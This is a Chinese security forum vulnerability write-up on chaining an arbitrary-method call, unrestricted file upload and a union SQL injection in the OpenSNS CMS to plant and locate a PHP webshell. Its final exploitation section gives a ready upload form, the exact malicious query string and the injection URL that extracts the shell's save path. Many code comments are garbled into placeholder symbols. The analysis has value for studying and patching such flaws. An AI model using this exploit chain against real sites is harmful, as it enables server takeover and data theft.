opensns最新版前台getshell

balisong / 2017-03-12 07:13:00 / 浏览数 5815 安全技术 漏洞分析 顶(0) 踩(0)

漏洞分析

我们先看漏洞触发点：在/Application/Weibo/Controller/ShareController.class.php中第20行：

```
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);

if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}

$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

$user = query_user(array('nickname'), is_login());
$info =  D('Weibo/Share')->getInfo($feed_data);
```

可以看到这里的$aContent和$aQuery都是我们POST进来的，是我们可控的，然后可以看到将$aQuery这个变量做了一个parse_str()操作。

```
parse_str($aQuery,$feed_data);
```

然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数：
在/Application/Weibo/Model/ShareModel.class.php中：

```
public function getInfo($param)
 {
 $info = array();
 if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
 $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
 }
 return $info;
 }
```

可以看到这里的形参$param就是我们传进来的$feed_data实参。

这里有一个操作很有意思：

```
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
```

其中$param['app']以及$param['model']，$param['method']，$param['id']都是我们可控的。
其中这个D()函数是thinkphp中的一个实例化类型的函数，我们追踪一下：
在/ThinkPHP/Common/functions.php中第616行：

```
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// ■■■■■■■■■■■■■■
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
```

```
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D■■■■■■■■■■■■' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}
```

这个函数有两个参数，但是我们只能控制第一个参数的值，也就是形参$name的值。
那么可以看到如果$layer为空的话，就取C('DEFAULT_M_LAYER')的值，那么这个值是多少呢？

在/ThinkPHP/Conf/convention.php中有:

```
DEFAULT_M_LAYER'       =>  'Model', // ■■■■■■■■
```

那么就是取默认的值，也就是Model。
那么意思就是说，我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的，就连方法的第一个参数也是我们可控的。

如上文所说

```
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
```

其中$param['method']就是我们要调用的方法名称，$param['id']就是该方法的第一个参数。

好了，大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类，并调用它其中的一个任意一个public方法。

刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Hom
这个类里面有一个文件上传函数：

```
public function upload($files, $setting, $driver = 'Local', $config = null){
/* ■■■■ */
$setting['callback'] = array($this, 'isFile');
$Upload = new \Think\Upload($setting, $driver, $config);
$info   = $Upload->upload($files);

/* ■■■■■■■■ */
$this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);

if($info){ //■■■■■■■■■■■■■■
foreach ($info as $key => &$value) {
/* ■■■■■■■■ */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}

/* ■■■■■■■ */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: ■■■■■■■■■■■■■■■■■■■■■■■■
unset($info[$key]);
}
}
return $info; //■■■■■■■
} else {
$this->error = $Upload->getError();
return false;
}
}
```

那么意思是我们就能够调用这个文件上传函数了，我们看一下这个文件上传函数：
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值，默认是null.
然后在第三行调用了upload()函数，我们追踪一下：

在/ThinkPHP/Library/Think/Upload.class.php中第128行：

```
public function upload($files = '')
{
```

```
if ('' === $files) {
$files = $_FILES;
}

if (empty($files)) {
$this->error = '■■■■■■■■■';
return false;
}

/* ■■■■■■■■ */
if (!$this->uploader->checkRootPath()) {
$this->error = $this->uploader->getError();
return false;
}

/* ■■■■■■■ */
if (!$this->uploader->checkSavePath($this->savePath)) {
$this->error = $this->uploader->getError();
return false;
}

/* ■■■■■■■■■■ */
$info = array();
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
}
// ■■■■■■■■■■■■
$files = $this->dealFiles($files);

foreach ($files as $key => $file) {
if (!isset($file['key'])) $file['key'] = $key;
/* ■■■■■■■■■■■■■■■FLASH■■$FILES■■■■■■■■■■■■■■■ */
if (isset($finfo)) {
$file['type'] = finfo_file($finfo, $file['tmp_name']);
}

/* ■■■■■■■■■■■■■■■■■■■■ */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);

/* ■■■■■■■ */
if (!$this->check($file)) {
continue;
}

/* ■■■■■hash */
if ($this->hash) {
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}

/* ■■■■■■■■■■■■■■■ */
$data = call_user_func($this->callback, $file);


if ($this->callback && $data) {
$drconfig = $this->driverConfig;
$fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);

if (file_exists('.' . $data['path'])) {
$info[$key] = $data;
continue;
} elseif ($this->uploader->info($fname)) {
$info[$key] = $data;
continue;
} elseif ($this->removeTrash) {
call_user_func($this->removeTrash, $data); //■■■■■■
}
}
```

```
/* ■■■■■■■■ */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}

/* ■■■■■■■■■ */
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}

/* ■■■■■■■■■■■■ */
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '■■■■■■■■';
continue;
}
}

$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}

/* ■■■■■ ■■■■■■■■■■■ */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}

return empty($info) ? false : $info;
}
■■■thinkphp■■■upload()■■■■■■■■■■■■■■■■■
if ('' === $files) {
$files = $_FILES;
}
```

如果$files是空的话，它会默认检查整个$_FILES数组，意味着不需要我们设定特定上传文件表单名。

然后重点就是对于后缀检测的这里：

```
/* ■■■■■■■ */
if (!$this->check($file)) {
continue;
}
■■■check()■■■■■■■■■■■
■■■■■294■■
private function check($file)
{
/* ■■■■■■■■■■■■■■ */
if ($file['error']) {
$this->error($file['error']);
```

```
return false;
}

/* ■■■■ */
if (empty($file['name'])) {
$this->error = '■■■■■■■■';
}

/* ■■■■■■■■■ */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '■■■■■■■■';
return false;
}

/* ■■■■■■■ */
if (!$this->checkSize($file['size'])) {
$this->error = '■■■■■■■■■■';
return false;
}

/* ■■■■■Mime■■ */
//TODO:FLASH■■■■■■■■■■mime■■■■■application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '■■■■■MIME■■■■■■■';
return false;
}

/* ■■■■■■■ */
if (!$this->checkExt($file['ext'])) {
$this->error = '■■■■■■■■■■';
return false;
}

/* ■■■■■ */
return true;
}
```

首先看一下mimel类型的检测，调用了checkmime()函数，我们追踪一下：

在该文件的380行：

```
private function checkMime($mime)
{
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}
■■■■■■■$this->config['mimes']■■■■■■■■■■■true■■■■■■■■■■■■$config■■■■■■■■■■■■■■■
■■■■■$config■■
 private $config = array(
'mimes' => array(), //■■■■■■■■MiMe■■
'maxSize' => 0, //■■■■■■■■■■ (0-■■■■■)
'exts' => array(), //■■■■■■■■■■
'autoSub' => true, //■■■■■■■■■■
'subName' => array('date', 'Y-m-d'), //■■■■■■■■■[0]-■■■■■[1]-■■■■■■■■■■■■
'rootPath' => './Uploads/', //■■■■■■
'savePath' => '', //■■■■■
'saveName' => array('uniqid', ''), //■■■■■■■■■■[0]-■■■■■[1]-■■■■■■■■■■■■
'saveExt' => '', //■■■■■■■■■■■■■■■■
'replace' => false, //■■■■■■■■■
'hash' => true, //■■■■■hash■■
'callback' => false, //■■■■■■■■■■■■■■■■■■■■■■■■■
'driver' => '', // ■■■■■■■
'driverConfig' => array(), // ■■■■■■■
);
```

所以这里肯定是返回true的，所以mime类型检测绕过了。
然后我们开始看后缀检测：
调用了一个checkExt()函数，我们追踪一下：

在389行：

```
private function checkExt($ext)
 {
 return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
 }
```

可以看到跟上面的一样，由于我们没有设定限定后缀，所以对于任意后缀的文件都是开放通行的，所以看到这里，就知道了，可以造成一个任意文件上传的漏洞。

但是这里有另外一个问题，就是我们并不知道上传上去的路径是多少，我们可以看一下这里对于上传后的文件名是怎么处理的：

```
$savename = $this->getSaveName($file);
```

调用了一个getSaveName()函数，我们追踪一下：

在第398行：

```
private function getSaveName($file)
{
$rule = $this->saveName;
if (empty($rule)) { //■■■■■■■
/* ■■pathinfo■■■■■BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if (empty($savename)) {
$this->error = '■■■■■■■■■■';
return false;
}
}
```

我们看一下我们的$this->saveName为多少，在默认的$config中有定义：

```
'saveName' => array('uniqid', ''),
```

所以不为空，我们就没办法保证保持文件名不变了，肯定会被重命名的，
那么又调用了一个getName()函数，我们追踪一下：

在该文件的第444行：

```
private function getName($rule, $filename)
{
$name = '';
if (is_array($rule)) { //■■■■
$func = $rule[0];
$param = (array)$rule[1];
foreach ($param as &$value) {
$value = str_replace('__FILE__', $filename, $value);
}
$name = call_user_func_array($func, $param);
} elseif (is_string($rule)) { //■■■■■
if (function_exists($rule)) {
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}
```

可以看到$name的赋值结果了..就是调用了uniqid()这个函数，而这个函数很不好处理：
uniqid() 函数基于以微秒计的当前时间，生成一个唯一的 ID。
我的天，以微秒计的唯一ID，就算要爆破的话，都不好爆破。所以得另想办法。

我们回到FileModel类的upload函数再去看一看：

```
if($info){ //■■■■■■■■■■■■■
foreach ($info as $key => &$value) {
/* ■■■■■■■■ */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
```

```
/* ■■■■■■ */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
```

可以发现，当我们上传完东西后，是会把我们上传的信息给记录下来的，而记录在哪里呢？没错，就是在数据库当中的ocenter_file表里面，我们可以去看一下：

可以看到我们上传的东西，这里都会有记录，包括文件保存的位置和保存的文件名，都有。
所以如果我们想知道上传后的位置和文件名，只需要我们能够从数据库中得到数据就可以了，那么怎么得到呢？
没错，就是通过注入！
注入倒是好挖，但是我们需要方便快捷一点，所以我们就需要一个能够回显的注入。

所以我又挖了一个这个cms的注入漏洞带回显的，在Application/Ucenter/Controller/IndexController.class.php中的information函数中：

```
public function information($uid = null)
{
//■■API■■■■■■
//TODO tox ■■■■■■■■
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_dist
■■■■■$uid■■■■query_user■■■■■■■■■■■■■■■■/Application/Common/Model/UserModel.class.php■:
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//■■■■
$fields = $this->getFields($pFields);//■■■■■■■■
$uid = (intval($uid) != 0 ? $uid : get_uid());//■■UID
//■■■■■■■■■■■■■■■■■■■■■■

list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
$user_data = $cacheResult;//■■■■■■■■■■
//■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);
```

这里有个细节很重要，就是看$uid重新赋值的时候：

```
$uid = (intval($uid) != 0 ? $uid : get_uid());//■■UID
```

它验证的是intval($uid)是否为0，但是取值的时候并没有intval，所以这个地方注入语句不会被过滤掉，然后我们跟进getNeddQueryData这个函数看看：

```
private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//■■■■■■■■■■■
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member`
$query_result = $query_results[0];
$user_data = $this->combineUserData($user_data, $query_result);
$fields = $this->popGotFields($fields, $need_query);
$this->writeCache($uid, $query_result);
}
return array($user_data, $fields);
}
```

可以看到，直接给$uid拼接到sql语句中去了，所以造成了一个注入，并且这个注入是有回显的，非常方便。

利用方式：

在首先，我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)

然后我们开始构造上传表单：

```
<html>
<body>

<form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="text" name="content" value="123" id="1" />
```

```
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>
```

然后我们开始上传我们的webshell：

这里的两个框框里的数据都不要改，直接上传我们的shell就可以了：

然后我们点击上传，就可以成功上传了，但是上传后是不会有路径回显的，所以我们下一步，开始注入：

payload:

http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20wh
就能得到我们shell的保存路径了，如图：

那么最终shell的路径就是：

http://localhost/Uploads/2017-01-20/5881ce0db9438.php

上一篇：扩充僵尸网络至企业内网核心区 下一篇：SQL注入之获取指定数据库数据My...

1. 4 条回复

ph4nt0mer 2017-03-13 11:04:54

0 回复Ta

balisong 2017-03-13 15:01:14

尴尬..这是你当年审过的洞

0 回复Ta

hades 2017-03-13 15:43:13

这你都能认识。。@ph4nt0mer 是不是也该走一波

0 回复Ta

ly55521 2017-06-02 15:15:21

opensns 这个厂商不知道咋想呢， 补天不收 opensns 的洞， 之前交了一个，补天说不收。。。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板